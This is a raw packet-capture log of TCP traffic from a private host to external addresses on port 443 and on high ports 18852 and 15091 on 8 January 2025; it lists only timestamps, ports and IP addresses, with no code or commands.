Jan 8, 2025 07:15:07.249037027 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.265187979 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.265209913 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.265247107 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.265254021 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.265286922 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.265332937 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.268201113 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.268217087 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.268259048 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.268265963 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.268279076 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.268306971 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.279787064 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.279803038 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.279851913 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.279859066 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.279875040 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.279889107 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.289014101 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.289030075 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.289083958 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.289093018 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.289196014 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.300985098 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.301004887 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.301084995 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.301105022 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.305018902 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.311666012 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.311683893 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.311764002 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.311773062 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.311822891 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.322812080 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.322828054 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.322895050 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.322904110 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.323081017 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.335880041 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.335895061 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.335959911 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.335973978 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.336025000 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.352145910 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.352160931 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.352232933 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.352241993 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.352866888 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.355068922 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.355083942 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.355144978 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.355153084 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.355290890 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.366581917 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.366601944 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.366684914 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.366693020 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.366837025 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.383337975 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.383353949 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.383429050 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.383436918 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.383539915 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.390677929 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.390693903 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.390774012 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.390780926 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.390979052 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.416197062 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.416215897 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.416254997 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.416265011 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.416275978 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.416310072 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.416888952 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.416909933 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.416961908 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.416970015 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.421021938 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.422770977 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.422785997 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.422836065 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.422842026 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.422872066 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.422889948 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.438922882 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.438944101 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.438993931 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.439002037 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.439017057 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.439043045 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.442064047 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.442080975 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.442131042 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.442137957 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.442158937 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.442209005 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.453551054 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.453567028 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.453629017 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.453636885 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.457015991 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.463018894 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.463033915 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.463114023 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.463120937 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.463471889 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.477509975 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.477526903 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.477571964 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.477579117 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.477605104 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.477627039 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.503226995 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.503242970 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.503298044 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.503304958 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.503323078 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.503462076 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.503854036 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.503870964 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.503914118 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.503921986 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.503953934 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.503962040 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.509669065 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.509685993 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.509743929 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.509751081 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.509902000 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.525965929 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.525984049 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.526036978 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.526043892 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.526056051 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.526083946 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.529081106 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.529095888 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.529120922 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.529165983 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.529170990 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.529217958 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.540527105 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.540572882 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.540585995 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.540585995 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.540595055 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.540615082 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.540616989 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.540641069 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.540664911 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.541469097 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.541482925 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:29.537070036 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:29.541981936 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:29.542076111 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.345834970 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.345861912 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.345875978 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.345923901 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.345944881 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.345963955 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.345977068 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.345988989 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.345998049 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.346004963 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.346015930 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.346029997 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.346051931 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.346113920 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.347368002 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.350836992 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.350867033 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.350878954 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.350925922 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.352118969 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.355163097 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.562555075 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.562571049 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.562588930 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.562623024 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.562633038 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.562635899 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.562680960 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.562777042 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.562789917 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.562800884 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.562823057 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.562851906 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.562875986 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.563436985 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.563508987 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.563519955 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.563546896 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.563649893 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.563663006 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.563673019 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.563704014 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.563730001 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.564435005 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.564486027 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.564497948 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.564534903 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.564630985 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.564642906 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.564654112 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.564673901 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.564704895 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.565366030 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.565423012 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.565434933 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.565485954 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.779530048 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.779567957 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.779582024 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.779623985 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.779661894 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.779675961 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.779692888 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.779706001 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.779716015 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.779737949 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.780025005 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.780038118 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.780049086 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.780077934 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.780111074 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.780122995 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.780129910 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.780133963 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.780148983 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.780163050 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.780216932 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.780998945 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.781012058 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.781023979 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.781059980 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.781085014 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.781132936 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.781374931 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.781387091 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.781397104 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.781419039 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.781507015 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.781519890 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.781529903 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.781541109 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.781553984 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.781595945 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.782361984 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.782372952 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.782385111 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.782404900 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.782430887 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.782499075 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.782511950 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.782524109 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.782536983 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.782556057 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.782591105 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.783334017 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.783345938 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.783356905 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.783384085 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.783478975 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.783490896 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.783503056 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.783514023 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.783518076 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.783544064 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.784213066 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.784239054 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.784250021 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.784264088 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.784290075 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.784364939 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.784378052 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.784420013 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.996387959 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.996400118 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.996412039 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.996447086 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.996470928 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.996511936 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.996512890 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.996526003 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.996561050 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.996644020 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.996655941 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.996666908 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.996679068 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.996700048 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.996712923 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.997673988 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998138905 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998150110 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998161077 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998171091 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998191118 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.998219013 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.998285055 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998297930 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998308897 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998347998 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.998367071 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.998440027 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998611927 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998621941 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998634100 CET	18852	49739	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:30.998655081 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:30.998694897 CET	49739	18852	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:33.039345026 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:33.044188023 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:33.044261932 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:33.044543982 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:33.049335003 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:33.935992956 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:33.936439991 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:33.941251040 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:33.941272020 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:33.941281080 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.254529953 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.254551888 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.254564047 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.254575968 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.254622936 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.254656076 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.254659891 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.254672050 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.254683018 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.254702091 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.254725933 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.254746914 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.254779100 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.254791021 CET	15091	49740	154.82.85.107	192.168.2.4
